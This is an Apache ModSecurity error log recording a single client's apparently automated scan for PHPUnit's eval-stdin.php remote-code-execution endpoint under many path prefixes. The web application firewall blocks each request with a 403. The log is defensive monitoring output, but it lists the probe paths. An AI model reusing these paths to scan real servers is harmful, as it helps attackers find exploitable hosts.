[Sat Oct 24 20:47:47.678569 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuqQAAACk"]
[Sat Oct 24 20:47:47.727669 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuqgAAACk"]
[Sat Oct 24 20:47:47.728103 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuqgAAACk"]
[Sat Oct 24 20:47:47.728378 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuqgAAACk"]
[Sat Oct 24 20:47:47.778675 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuqwAAACk"]
[Sat Oct 24 20:47:47.779132 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuqwAAACk"]
[Sat Oct 24 20:47:47.779467 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZtuqwAAACk"]
[Sat Oct 24 20:47:47.824169 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZturAAAACk"]
[Sat Oct 24 20:47:47.824624 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZturAAAACk"]
[Sat Oct 24 20:47:47.824966 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZturAAAACk"]
[Sat Oct 24 20:47:47.868634 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZturQAAACk"]
[Sat Oct 24 20:47:47.869079 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZturQAAACk"]
[Sat Oct 24 20:47:47.869410 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZturQAAACk"]
[Sat Oct 24 20:47:47.913452 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZturgAAACk"]
[Sat Oct 24 20:47:47.913922 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZturgAAACk"]
[Sat Oct 24 20:47:47.914223 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZturgAAACk"]
[Sat Oct 24 20:47:47.960518 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZturwAAACk"]
[Sat Oct 24 20:47:47.961005 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZturwAAACk"]
[Sat Oct 24 20:47:47.961326 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Rs93lMH_Ldre-PZturwAAACk"]
[Sat Oct 24 20:47:48.011248 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtusAAAACk"]
[Sat Oct 24 20:47:48.011688 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtusAAAACk"]
[Sat Oct 24 20:47:48.012007 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtusAAAACk"]
[Sat Oct 24 20:47:48.061841 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtusQAAACk"]
[Sat Oct 24 20:47:48.062249 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtusQAAACk"]
[Sat Oct 24 20:47:48.062536 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtusQAAACk"]
[Sat Oct 24 20:47:48.103168 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtusgAAACk"]
[Sat Oct 24 20:47:48.103601 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtusgAAACk"]
[Sat Oct 24 20:47:48.103896 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtusgAAACk"]
[Sat Oct 24 20:47:48.152971 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtuswAAACk"]
[Sat Oct 24 20:47:48.153581 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtuswAAACk"]
[Sat Oct 24 20:47:48.154021 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtuswAAACk"]
[Sat Oct 24 20:47:48.202008 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtutAAAACk"]
[Sat Oct 24 20:47:48.202639 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtutAAAACk"]
[Sat Oct 24 20:47:48.203105 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtutAAAACk"]
[Sat Oct 24 20:47:48.251140 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtutQAAACk"]
[Sat Oct 24 20:47:48.251579 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtutQAAACk"]
[Sat Oct 24 20:47:48.251884 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtutQAAACk"]
[Sat Oct 24 20:47:48.301599 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1RtN3lMH_Ldre-PZtutgAAACk"]
